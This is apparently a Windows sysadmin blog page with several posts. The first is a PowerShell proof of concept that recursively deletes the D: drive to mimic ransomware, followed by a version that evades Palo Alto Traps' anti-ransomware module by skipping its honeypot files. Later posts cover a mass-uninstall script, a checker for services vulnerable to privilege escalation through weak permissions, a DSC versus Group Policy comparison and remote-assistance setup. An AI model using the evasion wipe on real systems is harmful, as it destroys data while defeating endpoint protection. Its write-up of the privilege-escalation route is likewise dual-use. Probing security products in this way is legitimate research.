Evading Palo Alto Traps Anti-Ransomware Protection

Standard

This piece could be the shortest article you have/will read today, so don’t blink:

The PoC script below will mimic a ransomware, it will wipe the whole D: drive except some pre-excluded files and folders ($TrustedFiles and $TrustedFolders).
When running this script, Traps (version 4.1.0 and above, with the Anti-Ransomware module activated) will flag it as a ransomware and kills the process, that is because it is performing bulk files/folders modification:

$basePath='d:\'
$TrustedFiles='SomeFile.csv'
$TrustedFolders='SomeFolder','SomeOtherFolder','$RECYCLE.BIN','System Volume Information'

foreach ($FolderCheck in (Get-ChildItem $basePath | ?{ $_.PSIsContainer })){

	$folderToCheck = $FolderCheck.name 
	$deletefolder = 1
	foreach ($Fol in $TrustedFolders){
		if ($Fol -eq $folderToCheck){
			$deletefolder = 0
		}
	}
	
	if($deletefolder){
		$fullPath=$basePath+$folderToCheck
		remove-item $fullPath -recurse
	}
	
}

foreach ($FileCheck in (Get-ChildItem $basePath | ?{ !$_.PSIsContainer })){

	$fileToCheck = $FileCheck.name 
	$deletefile = 1
	foreach ($Fil in $TrustedFiles){
		if (($Fil -eq $fileToCheck){
			$deletefile = 0
		}
	}
	
	if($deletefile){
		$fullPath=$basePath+$fileToCheck
		remove-item $fullPath
	}
	
}

So how Traps detects that?
Simply it creates honeypot files in all directories, with names like !!!!!2686401769.jpg and ZZZZZ1920832159.png.
Below is the list of all the file names:

So we edit our PoC script to exclude everything that starts with !!!!! or ZZZZZ, and it just works, Traps will mark it as a benign process:

$basePath='d:\'
$TrustedFiles='SomeFile.csv'
$TrustedFolders='SomeFolder','SomeOtherFolder','$RECYCLE.BIN','System Volume Information'

foreach ($FolderCheck in (Get-ChildItem $basePath | ?{ $_.PSIsContainer })){

	$folderToCheck = $FolderCheck.name 
	$deletefolder = 1
	foreach ($Fol in $TrustedFolders){
		if ($Fol -eq $folderToCheck){
			$deletefolder = 0
		}
	}
	
	if($deletefolder){
		$fullPath=$basePath+$folderToCheck
		remove-item $fullPath -recurse
	}
	
}

foreach ($FileCheck in (Get-ChildItem $basePath | ?{ !$_.PSIsContainer })){

	$fileToCheck = $FileCheck.name 
	$deletefile = 1
	foreach ($Fil in $TrustedFiles){
		if (($Fil -eq $fileToCheck) -or ($fileToCheck -match "^ZZZZZ") -or ($fileToCheck -match "^!!!!!")){
			$deletefile = 0
		}
	}
	
	if($deletefile){
		$fullPath=$basePath+$fileToCheck
		remove-item $fullPath
	}
	
}

Is it that easy or is there something I’m missing?

Advertisements

The (Awesome) Universal Uninstall Script

Standard

So, it is the final quarter of the year, internal audit has just woken up from their hibernation directly up your…sleeves, and wants to keep stuff compliant.

Your manager, for the little sadist that he is, sends you a list of some twenty+ applications to uninstall from all the end-user machines.

As you already experienced the pain of uninstalling different applications from different vendors before, you know that not every company builds a way to perform silent/command line uninstallation.

So you tell your manager: Not this time you neo-fascist! (In your mind, of course, you don’t want to end up on the streets working for Facebook, because #DeleteFacebook right? Too much? ok…)

Today we will use a commercial uninstall tool coupled with our custom script to uninstall virtually any software, remotely and silently.

First, you need to buy Revo Uninstaller Pro Portable, it costs around 30$ per year, cheaper than a mid-fancy dinner.
Then, you create a deployment package, save my following script in the same directory as RevoUnPro.exe and publish it to all your users:

$sleeptime = Get-Random -Minimum 0 -Maximum 600
sleep $sleeptime
$foundonce=0

for($i=0;$i -lt 3;$i++){

	get-process RevoUnPro* | stop-process

	$installedProducts = get-wmiobject -namespace 'root\cimv2\sms' -class sms_installedSoftware
	$productNames="Adobe Photoshop 7.0","Adobe Photoshop CC","Adobe Photoshop CC 2014","Adobe Photoshop CC 2015.5","Adobe Photoshop CC 2017","Adobe Photoshop CC 2017","Adobe Photoshop CC 2017","Adobe Photoshop CC 2017","Adobe Photoshop CC 2017","Adobe Photoshop CC 2018","Adobe Photoshop CC 2018","Adobe Photoshop CC 2018","Adobe Photoshop CC 2018","Adobe Photoshop CS","Adobe Photoshop CS3","Adobe Photoshop CS3","Adobe Photoshop CS4","Adobe Photoshop CS4 (64 Bit)","Adobe Photoshop CS4 Support","Adobe Photoshop CS5","Adobe Photoshop CS5","Adobe Photoshop CS5.1","Adobe Photoshop CS6"

	foreach ($product in $productNames){

		$checkproduct = $installedProducts | where { ($_.ARPdisplayname -like $product) }

		$productname=[string]$checkproduct

		if($productname.length -gt 0){
			$foundonce=1
			$loca = [string]$checkproduct.InstalledLocation

			if ($loca[$loca.length-1] -eq "\"){
				$loca = $loca.substring(0,$loca.length-1)
			}

			$loca
			$product

			cmd /c start cmd /c RevoUnPro.exe /mu "$product" /path "$loca" /mode Advanced /32 ; cmd /c start cmd /c RevoUnPro.exe /mu "$product" /path "$loca" /mode Advanced /64

		}

	}

	if(-not $foundonce){
		$i=4
	}
		else
	{
		$sleeptime = Get-Random -Minimum 600 -Maximum 1200
		sleep $sleeptime
	}
	
	write-host "looped"
}

As you can already see, the script is a mess, but it gets the job done.

It performs 3 rounds of cleaning, to make sure no locked residues are left.
You can try to tweak the number of rounds depending on your application, but I found that 3 is the optimal number.

This example uninstalls several different Photoshop versions, defined in $productNames . Of course, feel free to parametrize this variable for more flexible deployments.

A note though: PLEASE do not uninstall Microsoft Office individual products with this script, as it will have unpredictable results, use the official tools provided by Microsoft.

I’m sure that there are much cleaner ways to do it, so if you know any, please, let me know in the comments!

Windows Privilege Escalation: Automatically Detecting Vulnerable Services

Standard

Hello People,

I know I know, it’s been a while, but who’s counting!

So, a very quick overview of Windows privilege escalation using misconfigured services: If a service’s executable DACLs allows any normal user (non-admin) to delete it, that means that any user can replace that executable with another one of his choosing, thus running any software as Admin! (Please ignore the plethora of  “Any”…)

Below is a mini/mildly-dirty script that I wrote to check all local services for any vulnerable services:

$vulnList=$NULL
foreach ($proc in (Get-WmiObject win32_service | select  @{Name="Path"; Expression={$_.PathName.split('"')[1]}})){
	if (($proc.Path).length -ne 0){
		[string]$resp = icacls $proc.Path
	}

	if ($resp.contains("Everyone:(F)") -or $resp.contains("Everyone:(I)(F)")){
		$vulnList = $vulnList+ $proc.Path
	}
}
$vulnList

This script will enumerate all the local services paths and check the DACLs of each one, searching for the following ACE: Everyone (F), which means “Everyone” has full control over this file.

While testing on a dummy machine, I found a sneaky service that comes by default with this specific computer model:

Continue reading

DNS Self-Service with Orchestrator

Standard

Monday morning, you’re sitting in the comfort of your cubical, playing Minecraft, building a giant pixelated reptile, determined and focused, when suddenly a new outlook toast with “New DNS record creation request” as the subject appears… You feel like:

Ain't nobody got time for time for that

You know the feeling, that woman is my role model !

Imagine if you could just reply the man with “Use the DNS self-service form, fiend” and continue with your masterpiece.

Fret not, old friend, that is exactly what we are going to do today !

Continue reading

DSC vs Group Policy: In Plain English!

Standard

Internet, we meet again!

No, it didn’t take me 14 months to write this article, i just had a bad case of fleas that took a while to shake off (metaphorically, of course).

As you already know, Windows server 2012R2 is already being shipped with the new PowerShell feature/framework: Desired State Configuration. In this article i will list a summary of key differences between group policy and DSC, in ENGLISH.
Microsoft provided us several tools to manage Windows, other than GP and DSC (e.g. SCCM DCM, InTune), but I wanted to compare those two specifically because they are free, mainly.
Enough chit-chat, differences, in no particular order:

  • DSC, by using MOF files (which are not proprietary to Windows), can manage Linux boxes, while group policy (currently) can’t.
  • DSC can use any MOF file created by any future 3rd party product that can potentially leverage DSC as a policy engine.
  • DSC is easy to extend (the only limit is PowerShell’s potency), whereas extending Group Policy can be really daunting.
  • DSC writes all errors in the Windows event logs when things go south, while not all Group Policy settings does that.
  • DSC periodic configuration refresh checks for updates every 15 mins by default, whereas Group Policy’s background refresh can take up to 120 mins.
  • DSC stores the required config and resources locally, so even if there is no network connection, configuration refresh WILL occur, whereas group policy requires connections to AD and SYSVOL to perform its background refresh.
  • DSC config/policy can be applied to workgroup machines, thus your DMZ machines will never be out of shape again, whereas group policy requires the machine to be in an AD domain.
  • DSC, while declarative, does not have any GUI (yet), while group policies GUI is easy to use and well known.
  • DSC is more complex to apply, whereas Group Policy is click-driven.
  • DSC provides centralized triggering of configuration distribution, while Group Policy relies on the GP client to trigger refreshes.
  • Group Policy uses a combination of event-driven (like computer startup and user logon) mechanisms, while DSC does not have anything like it yet.
  • DSC tattooes its changes on the machine, that means when a DSC config item is no longer applied, its changes does not revert back to its original state, whereas “most” Group Policy settings are not tattooed (GPP is another story).
  • DSC scripts is more human-readable than a raw Group Policy file.
  • In my opinion, DSC is more likely to be used on Servers, while Group Policy is still for both servers and clients (excluding perimeter machines).

That’s it, short and simple, I hope you’ve found it useful. Let me know what do you think by leaving a comment below.
Until next year (hopefully not), have a great one!

 

Poor man’s enterprise remote support solution

Standard

There are tons of  remote support tools for AD environments, but most of them are commercial, and some of them are user initiated (like Lync 2010+ desktop sharing feature), today we will implement an agentless (sort of), free and pretty effective solution, the end result is a box that you enter the destined Username in (the person you’re trying to help), et voila, you have control over his screen ! (gentlemen, after his permission, of course)

Chapter I :

The base application that we will use is “Windows Remote Assistance” which ships for free with most Windows 7 flavors, the rest is scripting gimmicks.

Out of the box, Windows remote assistance will work if the requester sent an invitation file to the helper, but in our case, we want to initiate the process by offering our help before we even hear the nagging.

To do so, we need to create and link a GPO to our computers OU that enables just that :

Computer Configuration > Policies > Administrative Templates > System > Remote Assistance

Enable the “Offer Remote Assistance” option and select who can offer remote support, typically you will add your Help Desk group

Enabling WRS in a GPO

After you gpupdate the end-user’s machine, try it:

Open “Windows Remote Assistance” from your helper workstation, then click on Continue reading